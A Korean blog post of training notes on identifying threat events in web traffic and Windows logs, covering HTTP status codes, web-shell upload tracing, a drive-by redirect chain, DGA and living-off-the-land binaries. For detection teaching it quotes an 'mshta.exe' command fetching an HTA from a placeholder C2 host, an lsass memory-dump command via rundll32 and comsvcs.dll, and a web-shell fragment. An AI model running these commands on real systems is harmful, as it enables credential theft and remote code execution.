본문 바로가기
보안/보안공부

23년 실전형사이버훈련장 - 위협이벤트 식별훈련(3일차)

by 보안매크로 2023. 6. 21.
728x90

1. Method 주의깊게 보자(2일차 참고)

 

2. Protocol Version

[요청]

GET /index.jsp HTTP/1.1

버전이 1.1이 아닌 1.0 : 과거에 사용했던 버전으로 현재 브라우저들은 사용하지 않음

- 1.0 버전이 관찰되는 경우 : 일반적인 브라우저가 아님 (별도로 개발된 코드)

현재 HTTP는 2.0 개발되고 있다. 아직까진 1.1버전이다.

 

3. 응답코드

[요청]

GET /index.jsp HTTP/1.1

Host:1.2.3.4

 

[응답]

HTTP/1.1 200 OK (status 코드, OK는 status message)

...

 

[status code]

200~299 : 정상적인 응답

404 : not found 

 - 짧은 시간에 404 not found가 집중적으로 발생하는 경우 : 스캐닝 가능성 높음

405 : mathod not allowed

 - 허용되지 않은 메소드를 사용한 리퀘스트에 대한 응답 : 대체로 비정상

 - 일반적인 웹서버는 보통 GET, POST 만을 허용

 - 405 상태코드는 GET, POST 이외의 메소드가 사용됬음을 의미 : 일반적인 브라우저를 이용한 통신이 아님

500 : internal Server Error

 - 서버가 요청을 처리하는 과정 중에 에러가 발생했을 때

 - 대체로는 웹애플리케이션이 실행 중 에러가 발생하였으나 에러 핸들링이 이루어지고  있지 않는 경우가 주로 발생

 - 특정 기간동안 빈번하게/집중적으로 발생한 경우는 공격을 의심해볼 필요가 있음

   (웹 애플리케이션을 대상으로 메모리 관련 취약점, 인젝션 관련 취약점 등을 익스플로잇 시도하는 경우 발생할 수 있음)

버퍼 오버플로우, sql 인젝션 중 성공하지 못하는 경우 뜸

 

 

웹쉘이 설치된 경위 파악

주로 취약점들을 이용해 설치됨.

- PUT 메소드 사용

- 파일 업로드 취약점

- Remote File Inclusion 취약점 이용(동적으로 관리자가 수정가능한 내용들을 수정해서 공격자가 호스팅하는 서버에서 다운시키는 등)

- Command Injection 취약점 이용, 커맨드 쉘을 확보해 웹셀 업로드 등 (wget http://..... 에서 다운시킴), php경우 echo <? 패스스루, systme($cmd) >' 등의 명령 통해 웹쉘 삽입

- XSS 취약점 이용

- 다양하다

 

[경위 파악]

웹쉘 URI 식별 후, 그 URI와 관련된 요청, 응답을 분석해서 설치된 경위를 파악한다.

 

-파일 업로드 애플리케이션의 취약점을 이용해 업로드 된 것이라면

일반적으로 POST 메소드를 통해 이루어짐

_path =="http" method == "POST" grep(/dbfunctions.php/,orig_filenames) | cut _path, ts, id, method, host, uri, orig_filenames, referrer

기록을 토대로 보면, referrer값 editprofile.php(에디트프로파일 페이지) 취약점을 이용해 uri에 나온 upload.php(업로드 기능)를 호출해 (orig_filenames에)dbfunction.php(웹쉘)을 업로드,원래는 사진 업로드하는 페이지임 취약해서 웹쉘도 업로드 되는거임.(아래 사진 참조)

파일

 

wireshark 검색 조건

http.request.uri contains upload.php && mime_multipart.header.content-disposition contains dbfunctions.php

마우스오른쪽 - follow - TCP Stream 

 

 

-GET, POST 차이

GET : GET / login.jsp?id=hacker&pw=1234 HTTP/1.1 , 데이터를 업로드하는게 아닌 불러오기 위한 메소드다. 데이터의 메시지가 URI에 피라미터 형태로 나타남

 - 웹 어플리케이션에 데이터를 전달해야하는 경우 해당 값들을 URI에 포함

 - URI에는 글자 수 제한이 있음, 전달가능한 데이터 양이 한계가 있다

 

POST /login.jsp HTTP/1.1

...

id=hacker&pw=1234

- 웹 애플리케이션에 전달되어야 할 값들이 요청 본문(body)에 포함됨

- 전달할 수 있는 데이터 크기에 제한이 없음

파일을 업로드 기능은 대부분 POST 메소드를 이용하도록 구현됨

 

 

퀴즈 1

-클라이언트 목록 확인

_path == "http" | count() by id.orig_h, user_agent

 

검색결과 유저 에이전트가 null값이다. 수상하다! 왜 null인지도 알아야한다.

- 임의로 만든 코드에서 user_agent를 설정하지 않은 경우 user_agent 없음

- 웹서버와 TCP 커넥션을 수행한 후 HTTP 요청을 전송하지 않음, 연결만하고 요청은 안함

- HTTP 요청을 전송했으나 USER_AGENT 정보를 전달하지 않음

 

-User_Agent가 null인애들을 살펴보자.

_path == "http" user_agent == null | cut ts, id, method, host, uri, user_agent, referrer, version, status_code

메서드, uri 가 없는건 요청을 3핸드쉐이킹만 하고 요청을 안보내는 것. 시간지나서 서버가 자동으로 408 스테이터스 코드 보내 요청 끝냄

uri가 사람이 한게 아닌 랜덤하게 도구가 사용된 것처럼 보이니 이상하다

정상 사이트 2개 확인해보면, 환율, 시간계산 사이트인데, 이를 쓰는 이유는 악성코드가 랜덤한 값을 만들기위해 필요함, 내가 원하는 지역인지를 알아보기위해 정상사이트들을 연결해본다.

DGA(Domain Generation Algorithm) - 대응을 어렵게하고 추적을 회피, 악성코드가 c2와 통신할 때, 도메인이름을 수시로 바꿀 수 있음. 시간대별로 도메인을 자동으로 바꾸게해서 차단 피함, 바이러스도 알고리즘 해서 시간대별로 같은 도메인주소로 통신하게끔 설정해서 c2(계속달라지는 도메인))와 통신 가능. 1. 시간에 따라 출력값이 달라진다. dga알고리즘을 찾으면 미리 해당 도메인을 찾아 미리 차단해둘 수 있다.

악성코드는 c2와 도메인이름으로 통신해야함. 다른 c2를 쓸수도 있으니 아이피가 아니라 도메인으로 보통 함.

베이비 도메인인지 확인해봐도 유용하다. 도메인 히스토리 보는 사이트도 있다. 보통 유로임

 

-시간순으로 정렬해보자

시간순 정리할땐 타임스탬프와 trans_depth 같이 사용해서 나열.

id와 trans_depth를 key로 하여 정리

trans_depth 1, 2, 3이렇게 있는데 1이 첫번째꺼, 2는 두번쨰꺼(첫번쨰꺼+2번쨰꺼 니까 총 2개라서), 3은 3번쨰꺼(3번쨰로 통신이 갔으니 통신이 3개 있었을태니 trans_depth값이 3이다)이다.

_path == "http" grep(/qwe/,host) | sort id, trans_depth | cut ts, id, trans_depth, method, host, uri, referrer, user_agent

 

가장 첫번째 결과를 보면, referrer 사이트에서 어떠한 행위를 거쳐(더블클릭 or 리다이렉트 등) host에 접속된 것이다.

www.earsurgery.org도 추적해보면, 워드프레스 게시판에 접속해서 유도당한 듯 하다.

어떻게 adstairs.ro에 접속했을까?

wireshark에서 http.host == adstairs.ro로 검색

Referer:http://www.earsurgery.org/를 통해 갔다는걸 볼 수 있다. 광고를 통해 갓거나, 공격자가 그 사이트를 해킹해서 링크를 삽입해 둔것.

0. 사용자가 http://adstairs.ro에 접속

- http://adstairs.ro/544b29bcd035b2dfd055f5deda91d648.swf

- 웹페이지 소스에 포함되어 있던 SMF(플래시) 파일이 다운로드되어 실행됨

- 플래시 파일에 임베드된 스크립트에 의해 아래의 사이트로 접근

1. http://adstairs.ro/544b29bcd035b2dfd055f5deda91d648.swf에 의해 다음의 URI에 접근하게 됨

http://lifeinsidedetroit.com/02024870e4644b68814aadfbb58a75bc.php?q=e8bd3799ee8799332593b0b9caa1f426

2. 1의 결과로 qwe.mvdunalterableairreport.net/3xdz3bcxc8 로 이동해 서버는 정상적으로 응답함

포트가 같고 trans_depth가 1,2 순서대로니 서로 연관있는 요청인걸 알 수 있다. 같은 TCP이므로 앞의 3xdz3bcxc8 요청을 수행하던 중 /xPF_HAXN7TK9bMAgBjZDwQzO1-Wf5GvrN5_lIReIhbrhqHAlWyTDbaOBMPWitjnX 가 실행이 됬다.

referrer값이 null이니 스크립트 등에 의한 동작이라고 생각할 수 있다.

3. (2)와 동일한 TCP 세션 중 다음의 URI로 이동

 qwe.mvdunalterableairreport.net/xPF_HAXN7TK9bMAgBjZDwQzO1-Wf5GvrN5_lIReIhbrhqHAlWyTDbaOBMPWitjnX

와이어샤크 들어가서 http.request.uri contains 02024870e4644b68814aadfbb58a75bc.php 검색해 조회, http://lifeinsidedetroit.com/02024870e4644b68814aadfbb58a75bc.php?q=e8bd3799ee8799332593b0b9caa1f426에서 무슨일이 있었을까? http Stream을 봐야한다. 암호화 되어있어 TCP Stream에서는 디코딩 안해줌.

http.request.uri contains 02024870e4644b68814aadfbb58a75bc.php보면 

Referer: http://adstairs.ro/544b29bcd035b2dfd055f5deda91d648.swf adstairs.ro방문했을 때 swf(플래쉬파일)이 삽입되어 있었다. 보통 광고이나, 공격자가 악성코드를 여기에 심어둘 수 있으니 조심하자. (swf파일 이제 서비스 안되서 없어짐), 이파일에 스크립트 문장을 심어 해당 명령어 실행

<a id='myLink' href=http://qwe.mvdunalterableairreport.net/3xdz3bcxc8'>click<script>document.getElementById('myLink').click();</script> 명령이 있다.

 

 

침해사고 조사, 포렌식 등 분석 절차는 대부분 이렇다.

아티팩트 흭득 -> 정보 추출 -> 해석

아티팩트 흭득, 정보추출은 자동화가능한 부분(개발자들이 함)이라 어느정도만 공부하고 해석을 열심히 해야한다.

 

 

실전 페이로드 보고 꺠달은 get, post

우리는 IPS에서 탐지된 내역만 보는 것이기 때문에, 통신 전체내역을 볼 수 없다. 그래서 POST나오면 그냥 업로드, GET이면 일반적으론 파일요청(접근시도)로 보면된다. 보통 POST는 서버 설계할때 업로드 요청으로 자주 쓰기 떄문이다.

EX) POST/GHOST.asp HTTP/1.1

       GET/index.php HTTP/1.1

어떠한 페이지에 접근 후(IPS에 안잡혀 알수가 없음, 업로드 페이지인지 뭔지 모름) GHOST.asp를 업로드(post요청이니 예상)할 때 발생한 이벤트라 생각. index.php는 그냥 index.php요청을 한것. 서버에 파일이 있으면 응답하거나 거부할것. 없어도 거부할 것으로 예상

 

NXDOMAIN - 존재하지 않는 도메인

 

패킷에 content-encoding : gzip는 gzip로 내용이 압축되어있는것. 장비에는 기능이 있어 압축을 풀어서 페이로드에 나옴.

압축은 어떻게 푸냐?

-> hex dump로 풀고싶은 압축줄을 복사해서, hex값을 디코딩 cyberchef 사이트에서 디코딩 가능.

압축 zip은 파일형식이 헤더에 담겨있어 알집등으로 풀수있는거고, 데이터 gzip은 알고리즘은 같지만, 파일형식이 헤더에 없어 따로 디코딩 해야댐.

cyberchef에서

raw데이터로 바꿔서, form hex로 바꾸고, 0a0d가 아스키코드에서 엔터이니 원하는 부분 외에는 다 지워주고, 

hex, raw inflate로 hex변환 후 gzip 품
앞에 1바이트(1글자)씩 지워가며 결과 나올떄까지 시도

 

cyberchef 레시피 검색해서 다양하게 공부해보자

아스키가 1바이트, 유니코드가 2바이트 utf = 유니코드, 2바이트라서 한글같은거 할당할때 2글자로 표현이 안되니 4글자로 확장, 그런데 기존것들은 2글자로도 표현이되니 앞에 00붙여 표현, /. 은 16진수임을 표시하는거임. 공백을 해줘야 디코딩이 된다. 그리고 서로 뒤바뀌어있는 경우도 있어 00이 뒤에있으면 앞으로 옮겨줌. 첫번쨰 그룹과 두번째그룹을 지정하고 두번쨰그룹을 앞으로, 첫번째그룹을 뒤로 보냄

 이걸 알려면 인코딩 방법을 알아야한다.

 

'%68%65'를 디코딩 해보자. %를 빼고, 68, 65를 알파벳 h, e로 변환

 

 

-내일 배울 내용 참고

sysmon - 시스몬이 잡는 이벤트를 아는게 매우 중요하, 시스몬은 MS에서 만든 무료 작은 규모의 EDR이다. 주된 위험들을 식별, 해킹관련해서만 특화된 도구다.

엔드포인트 감지 및 대응(EDR)은 엔드포인트 보안 데이터의 실시간 모니터링 및 수집과 자동화된 위협 대응 메커니즘을 포함하는 엔드포인트 보안 솔루션

아티팩트는 로그의 하위호환이다. 로그만 봐도 다 알 수 있다. 로그가 지워지거나 그런경우만 아티팩트가 중요.

악성코드 분석시 악성코드가 사용하는 API를 알고있으면 좋다.

크리덴셜 덤핑이란? - 'Credential Dumping'이란 사용자가 접속 시 비밀번호를 한번 입력하면 운영체제 메모리에 저장되어 재접속시 반복해 비밀번호를 입력하지 않도록 해 편의성을 증대시킨 프로세스다. 이 자격증명은 프로세스는 악의적인 사용자에 의해 탈취가 가능하며, 탈취한 정보를 통해 한 사용자의 여러 계정에 접근을 시도하게 된다.

 

 

Living off the Land (LotL) 공격이란?
사이버 보안 세계에서 LotL 공격은 대상 컴퓨터에 이미 설치된 도구를 사용하거나 간단한 스크립트와 셸 코드를 메모리에서 직접 실행하는 공격을 말합니다. 공격자는 눈에 잘 띄지 않고 하드 디스크에 더 적은 수의 새 파일을 만들기 때문에 이 전략을 사용합니다. 기존 보안 도구로 탐지 될 가능성이 적으며, 궁극적으로 공격 차단 위험이 줄어 듭니다.

LotL 공격, 멀웨어가 아니면서 파일없는 또는 메모리 기반 공격은 기존 소프트웨어, 허용된 응용 프로그램 및 인증된 프로토콜을 사용하여 악의적인 활동을 수행하는 것과 같은 동일한 전술을 사용합니다. LotL 공격을 피하는데 사용되는 도구로는 운영 체제 기능, 합법적인 도구 및 클라우드 서비스가 있습니다.

 

https://lolbas-project.github.io/

lol공격에 사용되는 바이너리, 스크립트를 정리해둔 사이트이다. 잘 쓰이 프로그램들은 눈에 익어놔야 한다.

 

 

마지막으로..

이벤트 로그를 통해 mshta.exe가 실행된 사실을 확인했습니다. 파일은 문제없지만, 실행파일이 관리자, 사용자 아무도 접근을 잘하지 않기때문에 수상하다고 볼수있다. 정상파일이기에 탐지도안되고, 차단도안되고, EDR이 잡아야 한다. 행위기반으로 행위가 악성이면 차단한다. mshfa는 공격에 많이쓰인다.

 

시그마룰 : 이벤트 식벽할때 표준처럼 사용하는 룰 (보기 편하게 로그들을 보여주는 것)

 

System Binary Proxy Execution - 정상적인 시스템 바이너리 프로그램을 이용해 다른것들을 실행 LOL바이너리에 사용됨

 

 

알아두어야할 LOL 바이너리

mshta.exe

 HTA(HTML Aplication)을 실행하는데 사용하는 윈도우 유틸리티

 HTA는 윈도우에서만 사용하는 일종의 실행파일 포맷

 HTML 코드와 Javascript를 이용하여 프로그램을 구현

 HTA를 지원하는 웹브라우저나 mshta.exe를 이용하여 HTA를 실행

 90년대에 잠깐 사용되었던 것으로 오늘날에는 거의 사용되지 않음

 legacy 시스템과의 호환성을 위해 mshta.exe는 여전히 윈도우에 기본적으로 설치됨

 

공격자들은 mshta.exe를 이용해서 악성 HTA 파일을 다운로드 받아 실행

예) 악성 MS-Word 문서를 오픈 -> DDE(Dynamic Data Exchange'의 줄임말로 '동적 데이터 교환) 커맨드를 이용하여 "mshta.exe http://c2주소/malicious.hta" 와 같은 형태의 명령어를 실행 -> 악성 HTA 파일에 의해 악성코드가 설치. hta파일은 자바스크립트로 코딩되어 악성 명령어 실행시킴

 

mshta.exe는 정상적인 경우 거의 사용되지 않기 때문에, 실행된 것 자체가 위협으로 인지하는 것이 바람직

 

csc.exe

.(dot) net framework설치시 같이 설치됨. C# 컴파일러 이다.

 공격자들은 C#으로 구현된 소스코드를 PC등으로 업로드 한 후 csc.exe를 이용하여 컴파일하고 실행

 실행파일보다 스크립트가 탐지 회피관점에서 매우 유리하다. 난독화 가능

 텍스트기 때문에 다양한 인코딩 기법으로 시그니처 기반 탐지를 무력화 시킴. 백신은 스크립트 검사 안함.

 소스코드찾기, 커맨드라인 찾기 등이 중요하다

 

공격의 트렌드 오픈소스, lol, 스크립트 이다.

파워쉘은 뭐든 다할수있고, 파워쉘 소스코드를 네트워크에 저장이 가능함(메모리 RAM에만 저장됨) 하드디스크에 저장이 안되어 파워쉘 소스코드 찾기 힘듬, 그래서 로그를 남게끔 정책을 강화하거나 하고있다.

 

코발트 스트라이크 - 침투 테스터와 보안 레드 팀이 실제 사이버 위협을 시뮬레이션하기 위해 사용하도록 만들어진 폭넓은 맞춤 구성이 가능한 공격 프레임워크, 실제 해킹에 많이 쓰인다. c# injection 기능이 있다

 

wmic.exe

- wmi(Windows Management Instrumentation) 커맨드라인 클라이언트 

- 레터럴무브먼트, 퍼시스턴스, 정보수집 등 거의 모든 전술 영영에서 다양하게 이용됨

윈도우 성능 모니터링, 주기적 작업 설정, 설정 관리 변경 등 설치 제거 등 관리자가 할수있는 모든것 가능. wmic가 이것과 통신가능. 조건(관리자가 로그인시 등)을 달아서 악성코드 자동사용 가능. wmic가 실행이 되는 경우는 많다. 그러나 관리자가 아닌자가 실행하면 이상하다.

 

bitsadmin.exe

- BITS 관리도구, 백그라운드 인텔리전트 트랜스퍼 서비스다. 파일 다운받으면서 영화도 보고 가능한 이유는 남는 대역폭으로 파일을 다운받을 수 있게 하는 서비스가 있기 떄문이다. 이를 관리하는 도구다. 거의 쓰지않음.

- 공격자들은 bidsadmin.exe를 활용하여 파일을 다운로드하거나 proxy execution(다른프로그램 실행) 수행, 정상파일이기 때문에 백신의 관심 밖으로 우회가능, 

 

certutils.exe

- 인증서 관리 도구

- 공격자들은 이 유틸리티를 활용하여 인코딩/디코딩, 파일다운로드, 파일 은닉 등을 수행

 

rundll32.exe

- dll에 구현된 함수를 호출하는데 사용되는 유틸리티 (DLL 실행에 사용되는 도구)

- 정상적인 경우에도 많이 사용됨 (주로 어떤 프로세스가 rundll32.EXE를 호출하는 형태로 사용)

- 공격자들은 rundll32.exe를 대상으로 프로세스 인젝션을 수행하거나, rundll32.exe를 이용하여 윈도우가 제공하는 정상적인 DLL의 함수를 실행하여 악성행위 수행

예) rundll32.exe comsvcs.dll, Minidump <lsass.exe 프로세스ID> lsass.dump => comsvcs.dll(정상적인 DLL)의 Minidump 하수를 호출하여 lsass.exe (인증 담당)해당 id의 프로세스의 메모리를 덤프 => credential dumping이 목적, 실행되면 커맨드 파라미터를 무조건 조사해야한다. 미미카츠에서 덤프하면 걸리지만 여기서 덤프하면 안걸릴 수 있다. rundll32.exe가 실행됫는데 뒤에 파라미터가 없으면 비정상

 

 

Remote File Inclusion - 원격으로 파일을 포함시키는 공

아티팩트 - 디지털 포렌식에서 아티팩트의 의미는 운영체제나 애플리케이션을 사용하면서 생성되는 흔적

워터링홀 : 목표로하는 사용자가 자주가는 웹사이트를 미리 악성코드를 심어놓고 접속하면, 추가적으로 접속 컴퓨터에 악성코드를 심는 방법

디버깅, 컴파일 차이?

컴파일: 코드를 기계어로 번역. 이때 코드가 여러 개의 c파일이라면 따로따로 번역해서 각각을 오브젝트object 파일로 만든다. Compile (또는 compiling)

링킹: 오브젝트 파일들을 연결. Linking

디버깅: debugging 버그(벌레, 오류, 어원은 강의에서 설명) 제거하는 과정. 이건 강의 뒤에 자주 나옵니다.

빌드: 코드 -> 컴파일 -> 링킹 -> 실행파일 시키는 과정(비쥬얼 스튜디오 메뉴의 빌드build는 빌드 해라! 라는 명령의 의미)

코드를 빌드해서 실행파일을 만듭니다. 실행파일을 실행시키는 것은 run, execute 등의 용어를 사용합니다.

proxy execution - 공격자는 서명되거나 신뢰할 수 있는 바이너리로 악성 콘텐츠 실행을 프록시하여 프로세스 및/또는 서명 기반 방어를 우회

 

실습중 파일 다운 아이피

http://10.10.1.101/

728x90